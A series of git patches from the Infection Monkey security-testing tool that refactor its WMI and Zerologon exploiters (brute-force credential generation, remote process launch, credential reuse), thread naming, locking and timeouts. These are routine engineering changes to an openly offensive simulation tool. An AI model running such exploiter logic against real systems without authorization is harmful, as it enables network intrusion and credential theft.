(creds[2], "lm hash"), + (creds[3], "nt hash"), + ] + + present_creds = [cred[1] for cred in cred_strs if cred[0]] + return ", ".join(present_creds) From 4e7e4a9eee7a3fa49157a578f005b8e1c660519a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 9 Mar 2022 12:56:41 +0200 Subject: [PATCH 0664/1110] Agent: replace get_monkey_depth with self.current_depth --- monkey/infection_monkey/exploit/wmiexec.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 43d3058b6..7c92a082d 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -7,7 +7,6 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiTools from infection_monkey.i_puppet import ExploiterResultData @@ -97,13 +96,13 @@ class WmiExploiter(HostExploiter): "dropper_path": remote_full_path } + build_monkey_commandline( self.host, - get_monkey_depth() - 1, + self.current_depth, self.options["dropper_target_path_win_64"], ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline(self.host, get_monkey_depth() - 1) + } + build_monkey_commandline(self.host, self.current_depth) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( From 4ce731c769d210de88b02261b485a8522c406d7e Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 9 Mar 2022 12:22:08 +0000 Subject: [PATCH 0665/1110] Agent: generate brute force credentials from exploiter options All brute force exploiters will have the same structure of options, so instead of calling the generate_username_password_or_ntlm_hash_combinations() and manually unpacking the required arguments from options, we simplify the call and remove duplication --- monkey/infection_monkey/exploit/wmiexec.py | 5 ++--- monkey/infection_monkey/utils/brute_force.py | 20 +++++++++++++++----- 2 files changed, 17 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 7c92a082d..7fa7cd95b 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -12,8 +12,7 @@ from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiT from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.utils.brute_force import ( - generate_username_password_or_ntlm_hash_combinations, - get_credential_string, + get_credential_string, generate_brute_force_combinations, ) from infection_monkey.utils.commands import build_monkey_commandline @@ -28,7 +27,7 @@ class WmiExploiter(HostExploiter): @WmiTools.dcom_wrap def _exploit_host(self) -> ExploiterResultData: - creds = generate_username_password_or_ntlm_hash_combinations(self.options["credentials"]) + creds = generate_brute_force_combinations(self.options) for user, password, lm_hash, ntlm_hash in creds: creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py index ce5a895c1..253a259bf 100644 --- a/monkey/infection_monkey/utils/brute_force.py +++ b/monkey/infection_monkey/utils/brute_force.py @@ -3,7 +3,7 @@ from typing import Any, Iterable, List, Tuple def generate_identity_secret_pairs( - identities: Iterable, secrets: Iterable + identities: Iterable, secrets: Iterable ) -> Iterable[Tuple[Any, Any]]: """ Generates all possible combinations of identities and secrets (e.g. usernames and passwords). @@ -16,10 +16,10 @@ def generate_identity_secret_pairs( def generate_username_password_or_ntlm_hash_combinations( - usernames: Iterable[str], - passwords: Iterable[str], - lm_hashes: Iterable[str], - nt_hashes: Iterable[str], + usernames: Iterable[str], + passwords: Iterable[str], + lm_hashes: Iterable[str], + nt_hashes: Iterable[str], ) -> Iterable[Tuple[str, str, str, str]]: """ Generates all possible combinations of the following: username/password, username/lm_hash, @@ -40,6 +40,16 @@ def generate_username_password_or_ntlm_hash_combinations( ) +def generate_brute_force_combinations(options: dict): + return generate_username_password_or_ntlm_hash_combinations(usernames=options["credentials"]["exploit_user_list"], + passwords=options["credentials"][ + "exploit_password_list"], + lm_hashes=options["credentials"][ + "exploit_lm_hash_list"], + nt_hashes=options["credentials"][ + "exploit_ntlm_hash_list"]) + + # Expects a list of username, password, lm hash and nt hash in that order def get_credential_string(creds: List) -> str: cred_strs = [ From 16535e06c7d8c636e6891f1291465e91d257cfa4 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 9 Mar 2022 12:35:45 +0000 Subject: [PATCH 0666/1110] Agent: fix a bug in WMI exploiter related to depth --- monkey/infection_monkey/exploit/wmiexec.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 7fa7cd95b..de7ab58c7 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -95,13 +95,13 @@ class WmiExploiter(HostExploiter): "dropper_path": remote_full_path } + build_monkey_commandline( self.host, - self.current_depth, + self.current_depth-1, self.options["dropper_target_path_win_64"], ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline(self.host, self.current_depth) + } + build_monkey_commandline(self.host, self.current_depth-1) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( From 3dc8ef606c6d52ac5b226f763f6ce2ae0d3facc0 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 9 Mar 2022 13:34:07 +0000 Subject: [PATCH 0667/1110] Agent: add lock to wmi tools impacket libraries used for WMI are not designed for multithreading --- monkey/infection_monkey/exploit/tools/wmi_tools.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index b7eaf8675..99fda3141 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -1,4 +1,5 @@ import logging +import threading from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError @@ -8,6 +9,11 @@ from impacket.dcerpc.v5.dtypes import NULL logger = logging.getLogger(__name__) +# Due to the limitations of impacket library we should only run one WmiConnection at a time +# See comments in https://github.com/guardicore/monkey/pull/1766 +lock = threading.Lock() + + class AccessDeniedException(Exception): def __init__(self, host, username, password, domain): super(AccessDeniedException, self).__init__( @@ -77,7 +83,8 @@ class WmiTools(object): def dcom_wrap(func): def _wrapper(*args, **kwarg): try: - return func(*args, **kwarg) + with lock: + return func(*args, **kwarg) finally: WmiTools.dcom_cleanup() From b34c287238e05afccb16d51b5163ad1bfaf3c6e7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Mar 2022 08:47:25 -0500 Subject: [PATCH 0668/1110] Agent: Log thread name instead of thread ID --- monkey/infection_monkey/main.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index d6edfaec2..9388d5431 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -25,7 +25,7 @@ LOG_CONFIG = { "disable_existing_loggers": False, "formatters": { "standard": { - "format": "%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(" + "format": "%(asctime)s [%(process)d:%(threadName)s:%(levelname)s] %(module)s.%(" "funcName)s.%(lineno)d: %(message)s" }, }, From f9a7672767f43bd4b7d451c8e037d26bd498ad29 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Mar 2022 08:52:10 -0500 Subject: [PATCH 0669/1110] Agent: Add optional name to create_daemon_thread and run_worker_threads --- monkey/infection_monkey/utils/threading.py | 20 +++++++++--- .../infection_monkey/utils/test_threading.py | 32 +++++++++++++++++-- 2 files changed, 45 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/utils/threading.py b/monkey/infection_monkey/utils/threading.py index 54bc469be..80b688759 100644 --- a/monkey/infection_monkey/utils/threading.py +++ b/monkey/infection_monkey/utils/threading.py @@ -1,14 +1,19 @@ import logging +from itertools import count from threading import Event, Thread -from typing import Any, Callable, Iterable, Tuple +from typing import Any, Callable, Iterable, Optional, Tuple logger = logging.getLogger(__name__) -def run_worker_threads(target: Callable[..., None], args: Tuple = (), num_workers: int = 2): +def run_worker_threads( + target: Callable[..., None], name_prefix: str = None, args: Tuple = (), num_workers: int = 2 +): worker_threads = [] + counter = run_worker_threads.counters.setdefault(name_prefix, count(start=1)) for i in range(0, num_workers): - t = create_daemon_thread(target=target, args=args) + name = None if name_prefix is None else f"{name_prefix}-{next(counter)}" + t = create_daemon_thread(target=target, name=name, args=args) t.start() worker_threads.append(t) @@ -16,8 +21,13 @@ def run_worker_threads(target: Callable[..., None], args: Tuple = (), num_worker t.join() -def create_daemon_thread(target: Callable[..., None], args: Tuple = ()) -> Thread: - return Thread(target=target, args=args, daemon=True) +run_worker_threads.counters = {} + + +def create_daemon_thread( + target: Callable[..., None], name: Optional[str] = None, args: Tuple = () +) -> Thread: + return Thread(target=target, name=name, args=args, daemon=True) def interruptable_iter( diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py index 659fc7205..8b55cc9b5 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py @@ -1,7 +1,11 @@ import logging -from threading import Event +from threading import Event, current_thread -from infection_monkey.utils.threading import create_daemon_thread, interruptable_iter +from infection_monkey.utils.threading import ( + create_daemon_thread, + interruptable_iter, + run_worker_threads, +) def test_create_daemon_thread(): @@ -9,6 +13,11 @@ def test_create_daemon_thread(): assert thread.daemon +def test_create_daemon_thread_naming(): + thread = create_daemon_thread(lambda: None, name="test") + assert thread.name == "test" + + def test_interruptable_iter(): interrupt = Event() items_from_iterator = [] @@ -45,3 +54,22 @@ def test_interruptable_iter_interrupted_before_used(): items_from_iterator.append(i) assert not items_from_iterator + + +def test_worker_thread_names(): + thread_names = set() + + def add_thread_name_to_list(): + thread_names.add(current_thread().name) + + run_worker_threads(target=add_thread_name_to_list, name_prefix="A", num_workers=2) + run_worker_threads(target=add_thread_name_to_list, name_prefix="B", num_workers=2) + run_worker_threads(target=add_thread_name_to_list, name_prefix="A", num_workers=2) + + assert "A-1" in thread_names + assert "A-2" in thread_names + assert "A-3" in thread_names + assert "A-4" in thread_names + assert "B-1" in thread_names + assert "B-2" in thread_names + assert len(thread_names) == 6 From 87dbe20c23f50dbdb24776aaa6e3e889b4f303c2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Mar 2022 08:53:23 -0500 Subject: [PATCH 0670/1110] Agent: Add human-readable thread name to MonkeyTunnel --- monkey/infection_monkey/tunnel.py | 2 +- monkey/infection_monkey/utils/threading.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py index 769260d6b..b0f778534 100644 --- a/monkey/infection_monkey/tunnel.py +++ b/monkey/infection_monkey/tunnel.py @@ -126,7 +126,7 @@ class MonkeyTunnel(Thread): self._stopped = Event() self._clients = [] self.local_port = None - super(MonkeyTunnel, self).__init__() + super(MonkeyTunnel, self).__init__(name="MonkeyTunnelThread") self.daemon = True self.l_ips = None self._wait_for_exploited_machines = Event() diff --git a/monkey/infection_monkey/utils/threading.py b/monkey/infection_monkey/utils/threading.py index 80b688759..d1b84523b 100644 --- a/monkey/infection_monkey/utils/threading.py +++ b/monkey/infection_monkey/utils/threading.py @@ -7,7 +7,10 @@ logger = logging.getLogger(__name__) def run_worker_threads( - target: Callable[..., None], name_prefix: str = None, args: Tuple = (), num_workers: int = 2 + target: Callable[..., None], + name_prefix: Optional[str] = None, + args: Tuple = (), + num_workers: int = 2, ): worker_threads = [] counter = run_worker_threads.counters.setdefault(name_prefix, count(start=1)) From 847c7fbf9b563895f2e3105f1a09b744879ac924 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Mar 2022 08:53:57 -0500 Subject: [PATCH 0671/1110] Agent: Add human-readable thread name to aws_environment_check --- monkey/infection_monkey/utils/aws_environment_check.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/aws_environment_check.py b/monkey/infection_monkey/utils/aws_environment_check.py index 31ff40186..aa60e0a55 100644 --- a/monkey/infection_monkey/utils/aws_environment_check.py +++ b/monkey/infection_monkey/utils/aws_environment_check.py @@ -29,6 +29,6 @@ def _report_aws_environment(telemetry_messenger: LegacyTelemetryMessengerAdapter def run_aws_environment_check(telemetry_messenger: LegacyTelemetryMessengerAdapter): logger.info("AWS environment check initiated.") aws_environment_thread = create_daemon_thread( - target=_report_aws_environment, args=(telemetry_messenger,) + target=_report_aws_environment, name="AWSEnvironmentThread", args=(telemetry_messenger,) ) aws_environment_thread.start() From 66d9549507a7a9cb3001e020e35f6a7b1a461d17 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Mar 2022 08:54:42 -0500 Subject: [PATCH 0672/1110] Agent: Add human-readable thread names to AutomatedMaster --- monkey/infection_monkey/master/automated_master.py | 11 +++++++++-- monkey/infection_monkey/master/exploiter.py | 5 ++++- monkey/infection_monkey/master/ip_scanner.py | 5 ++++- monkey/infection_monkey/master/propagator.py | 3 ++- 4 files changed, 19 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index 51627d728..edc922fa2 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -55,8 +55,12 @@ class AutomatedMaster(IMaster): ) self._stop = threading.Event() - self._master_thread = create_daemon_thread(target=self._run_master_thread) - self._simulation_thread = create_daemon_thread(target=self._run_simulation) + self._master_thread = create_daemon_thread( + target=self._run_master_thread, name="AutomatedMasterThread" + ) + self._simulation_thread = create_daemon_thread( + target=self._run_simulation, name="SimulationThread" + ) def start(self): logger.info("Starting automated breach and attack simulation") @@ -144,6 +148,7 @@ class AutomatedMaster(IMaster): credential_collector_thread = create_daemon_thread( target=self._run_plugins, + name="CredentialCollectorThread", args=( config["credential_collector_classes"], "credential collector", @@ -152,6 +157,7 @@ class AutomatedMaster(IMaster): ) pba_thread = create_daemon_thread( target=self._run_plugins, + name="PBAThread", args=(config["post_breach_actions"].items(), "post-breach action", self._run_pba), ) @@ -172,6 +178,7 @@ class AutomatedMaster(IMaster): payload_thread = create_daemon_thread( target=self._run_plugins, + name="PayloadThread", args=(config["payloads"].items(), "payload", self._run_payload), ) payload_thread.start() diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index b2049eb38..c2c00c1ef 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -54,7 +54,10 @@ class Exploiter: stop, ) run_worker_threads( - target=self._exploit_hosts_on_queue, args=exploit_args, num_workers=self._num_workers + target=self._exploit_hosts_on_queue, + name_prefix="ExploiterThread", + args=exploit_args, + num_workers=self._num_workers, ) @staticmethod diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index ee474ab49..a24b136aa 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -42,7 +42,10 @@ class IPScanner: scan_ips_args = (addresses, options, results_callback, stop) run_worker_threads( - target=self._scan_addresses, args=scan_ips_args, num_workers=self._num_workers + target=self._scan_addresses, + name_prefix="ScanThread", + args=scan_ips_args, + num_workers=self._num_workers, ) def _scan_addresses( diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 4ed86cd32..be4d6caf2 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -46,10 +46,11 @@ class Propagator: self._hosts_to_exploit = Queue() scan_thread = create_daemon_thread( - target=self._scan_network, args=(propagation_config, stop) + target=self._scan_network, name="PropagatorScanThread", args=(propagation_config, stop) ) exploit_thread = create_daemon_thread( target=self._exploit_hosts, + name="PropagatorExploitThread", args=(propagation_config, current_depth, network_scan_completed, stop), ) From e5acdf4cb7f86635aa6c7be956f828a44b5acb58 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Mar 2022 09:00:31 -0500 Subject: [PATCH 0673/1110] Agent: Fix formatting in utils/brute_force.py with Black --- monkey/infection_monkey/utils/brute_force.py | 23 ++++++++++---------- 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py index 253a259bf..3f4d23ffc 100644 --- a/monkey/infection_monkey/utils/brute_force.py +++ b/monkey/infection_monkey/utils/brute_force.py @@ -3,7 +3,7 @@ from typing import Any, Iterable, List, Tuple def generate_identity_secret_pairs( - identities: Iterable, secrets: Iterable + identities: Iterable, secrets: Iterable ) -> Iterable[Tuple[Any, Any]]: """ Generates all possible combinations of identities and secrets (e.g. usernames and passwords). @@ -16,10 +16,10 @@ def generate_identity_secret_pairs( def generate_username_password_or_ntlm_hash_combinations( - usernames: Iterable[str], - passwords: Iterable[str], - lm_hashes: Iterable[str], - nt_hashes: Iterable[str], + usernames: Iterable[str], + passwords: Iterable[str], + lm_hashes: Iterable[str], + nt_hashes: Iterable[str], ) -> Iterable[Tuple[str, str, str, str]]: """ Generates all possible combinations of the following: username/password, username/lm_hash, @@ -41,13 +41,12 @@ def generate_username_password_or_ntlm_hash_combinations( def generate_brute_force_combinations(options: dict): - return generate_username_password_or_ntlm_hash_combinations(usernames=options["credentials"]["exploit_user_list"], - passwords=options["credentials"][ - "exploit_password_list"], - lm_hashes=options["credentials"][ - "exploit_lm_hash_list"], - nt_hashes=options["credentials"][ - "exploit_ntlm_hash_list"]) + return generate_username_password_or_ntlm_hash_combinations( + usernames=options["credentials"]["exploit_user_list"], + passwords=options["credentials"]["exploit_password_list"], + lm_hashes=options["credentials"]["exploit_lm_hash_list"], + nt_hashes=options["credentials"]["exploit_ntlm_hash_list"], + ) # Expects a list of username, password, lm hash and nt hash in that order From 130c62a5c2448339723d61c80362e8cf35adc163 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Wed, 9 Mar 2022 14:17:36 +0000 Subject: [PATCH 0674/1110] Agent: add a wrapper for wmi_tools users Add a dedicated wrapper to make sure that wmi_tools users don't run into race conditions --- monkey/infection_monkey/exploit/tools/wmi_tools.py | 13 +++++++++++-- monkey/infection_monkey/exploit/wmiexec.py | 1 + 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/wmi_tools.py b/monkey/infection_monkey/exploit/tools/wmi_tools.py index 99fda3141..30ae59107 100644 --- a/monkey/infection_monkey/exploit/tools/wmi_tools.py +++ b/monkey/infection_monkey/exploit/tools/wmi_tools.py @@ -10,6 +10,7 @@ logger = logging.getLogger(__name__) # Due to the limitations of impacket library we should only run one WmiConnection at a time +# Use impacket_user decorator to ensure that no race conditions are happening # See comments in https://github.com/guardicore/monkey/pull/1766 lock = threading.Lock() @@ -23,6 +24,15 @@ class AccessDeniedException(Exception): class WmiTools(object): + + @staticmethod + def impacket_user(func): + def _wrapper(*args, **kwarg): + with lock: + return func(*args, **kwarg) + + return _wrapper + class WmiConnection(object): def __init__(self): self._dcom = None @@ -83,8 +93,7 @@ class WmiTools(object): def dcom_wrap(func): def _wrapper(*args, **kwarg): try: - with lock: - return func(*args, **kwarg) + return func(*args, **kwarg) finally: WmiTools.dcom_cleanup() diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index de7ab58c7..a81877df1 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -24,6 +24,7 @@ class WmiExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "WMI (Windows Management Instrumentation)" + @WmiTools.impacket_user @WmiTools.dcom_wrap def _exploit_host(self) -> ExploiterResultData: From 83c25c64693c85bbcf3923e9bb3267a6a309632a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 9 Mar 2022 16:51:15 +0200 Subject: [PATCH 0675/1110] Agent: Refactor generate_brute_force_combinations --- monkey/infection_monkey/exploit/wmiexec.py | 9 +++++---- monkey/infection_monkey/utils/brute_force.py | 12 ++++++------ 2 files changed, 11 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index a81877df1..4c6fcc70f 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -12,7 +12,8 @@ from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException, WmiT from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.utils.brute_force import ( - get_credential_string, generate_brute_force_combinations, + generate_brute_force_combinations, + get_credential_string, ) from infection_monkey.utils.commands import build_monkey_commandline @@ -28,7 +29,7 @@ class WmiExploiter(HostExploiter): @WmiTools.dcom_wrap def _exploit_host(self) -> ExploiterResultData: - creds = generate_brute_force_combinations(self.options) + creds = generate_brute_force_combinations(self.options["credentials"]) for user, password, lm_hash, ntlm_hash in creds: creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) @@ -96,13 +97,13 @@ class WmiExploiter(HostExploiter): "dropper_path": remote_full_path } + build_monkey_commandline( self.host, - self.current_depth-1, + self.current_depth - 1, self.options["dropper_target_path_win_64"], ) else: cmdline = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline(self.host, self.current_depth-1) + } + build_monkey_commandline(self.host, self.current_depth - 1) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( diff --git a/monkey/infection_monkey/utils/brute_force.py b/monkey/infection_monkey/utils/brute_force.py index 3f4d23ffc..793ab655f 100644 --- a/monkey/infection_monkey/utils/brute_force.py +++ b/monkey/infection_monkey/utils/brute_force.py @@ -1,5 +1,5 @@ from itertools import chain, product -from typing import Any, Iterable, List, Tuple +from typing import Any, Iterable, List, Mapping, Sequence, Tuple def generate_identity_secret_pairs( @@ -40,12 +40,12 @@ def generate_username_password_or_ntlm_hash_combinations( ) -def generate_brute_force_combinations(options: dict): +def generate_brute_force_combinations(credentials: Mapping[str, Sequence[str]]): return generate_username_password_or_ntlm_hash_combinations( - usernames=options["credentials"]["exploit_user_list"], - passwords=options["credentials"]["exploit_password_list"], - lm_hashes=options["credentials"]["exploit_lm_hash_list"], - nt_hashes=options["credentials"]["exploit_ntlm_hash_list"], + usernames=credentials["exploit_user_list"], + passwords=credentials["exploit_password_list"], + lm_hashes=credentials["exploit_lm_hash_list"], + nt_hashes=credentials["exploit_ntlm_hash_list"], ) From 7e6f1df3f5cacf0501832e12149f5484d7a91ffa Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 9 Mar 2022 16:55:22 +0200 Subject: [PATCH 0676/1110] Agent: Make thread name mandatory for creating daemon threads --- monkey/infection_monkey/utils/threading.py | 10 ++++------ .../infection_monkey/utils/test_threading.py | 2 +- 2 files changed, 5 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/utils/threading.py b/monkey/infection_monkey/utils/threading.py index d1b84523b..70f48bbe9 100644 --- a/monkey/infection_monkey/utils/threading.py +++ b/monkey/infection_monkey/utils/threading.py @@ -1,21 +1,21 @@ import logging from itertools import count from threading import Event, Thread -from typing import Any, Callable, Iterable, Optional, Tuple +from typing import Any, Callable, Iterable, Tuple logger = logging.getLogger(__name__) def run_worker_threads( target: Callable[..., None], - name_prefix: Optional[str] = None, + name_prefix: str, args: Tuple = (), num_workers: int = 2, ): worker_threads = [] counter = run_worker_threads.counters.setdefault(name_prefix, count(start=1)) for i in range(0, num_workers): - name = None if name_prefix is None else f"{name_prefix}-{next(counter)}" + name = f"{name_prefix}-{next(counter)}" t = create_daemon_thread(target=target, name=name, args=args) t.start() worker_threads.append(t) @@ -27,9 +27,7 @@ def run_worker_threads( run_worker_threads.counters = {} -def create_daemon_thread( - target: Callable[..., None], name: Optional[str] = None, args: Tuple = () -) -> Thread: +def create_daemon_thread(target: Callable[..., None], name: str, args: Tuple = ()) -> Thread: return Thread(target=target, name=name, args=args, daemon=True) diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py index 8b55cc9b5..915099f04 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_threading.py @@ -9,7 +9,7 @@ from infection_monkey.utils.threading import ( def test_create_daemon_thread(): - thread = create_daemon_thread(lambda: None) + thread = create_daemon_thread(lambda: None, name="test") assert thread.daemon From 0a6ced443c0a39b49d17dea8b123b3c55ec8dd6c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Mar 2022 10:00:20 -0500 Subject: [PATCH 0677/1110] Agent: Reduce smb_download_timeout to 30 seconds --- monkey/infection_monkey/config.py | 2 +- monkey/monkey_island/cc/services/config_schema/internal.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 22df97ca4..63c8c5c3b 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -175,7 +175,7 @@ class Configuration(object): aws_session_token = "" # smb/wmi exploiter - smb_download_timeout = 300 # timeout in seconds + smb_download_timeout = 30 # timeout in seconds smb_service_name = "InfectionMonkey" ########################### diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index d25856b39..45b76dd23 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -252,7 +252,7 @@ INTERNAL = { "smb_download_timeout": { "title": "SMB download timeout", "type": "integer", - "default": 300, + "default": 30, "description": "Timeout (in seconds) for SMB download operation (used in " "various exploits using SMB)", }, From 03145a13922b3353c786c5aa18a4f934cf9f68c2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 9 Mar 2022 10:04:45 -0500 Subject: [PATCH 0678/1110] Changelog: Add changelog entry for human-readable thread names --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 9dda4c7f9..7ff3116df 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -20,6 +20,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). clearer instructions to the user and avoid confusion. #1684 - The process list collection system info collector to now be a post-breach action. #1697 - The "/api/monkey/download" endpoint to accept an OS and return a file. #1675 +- Log messages to contain human-readable thread names. #1766 ### Removed - VSFTPD exploiter. #1533 From 08cbf75b5fcaf6ad4d65b56299794e7dc024c626 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 7 Mar 2022 12:21:24 +0530 Subject: [PATCH 0679/1110] Agent: Remove credential hashes in logging in Zerologon exploiter --- monkey/infection_monkey/exploit/zerologon.py | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index f05983d92..6f55ff106 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -329,12 +329,7 @@ class ZerologonExploiter(HostExploiter): self.remove_locally_saved_HKLM_keys() def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: - logger.info( - f"Starting remote shell on victim with credentials:\n" - f"user: {username}\n" - f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : " - f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}" - ) + logger.info(f"Starting remote shell on victim with user: {username}") wmiexec = Wmiexec( ip=self.dc_ip, From aee3566a0c1885dc3455b75aba12f498b9039125 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 7 Mar 2022 14:11:09 +0530 Subject: [PATCH 0680/1110] Agent: Remove WormConfiguration references in Zerologon exploiter --- monkey/infection_monkey/exploit/zerologon.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 6f55ff106..43b872635 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -269,7 +269,7 @@ class ZerologonExploiter(HostExploiter): self._extracted_creds[user]["lm_hash"], self._extracted_creds[user]["nt_hash"], ) - self.add_extracted_creds_to_monkey_config( + self.add_extracted_creds_to_exploiter_options( user, self._extracted_creds[user]["lm_hash"], self._extracted_creds[user]["nt_hash"], @@ -290,15 +290,15 @@ class ZerologonExploiter(HostExploiter): ) # so other exploiters can use these creds - def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None: - if user not in self._config.exploit_user_list: - 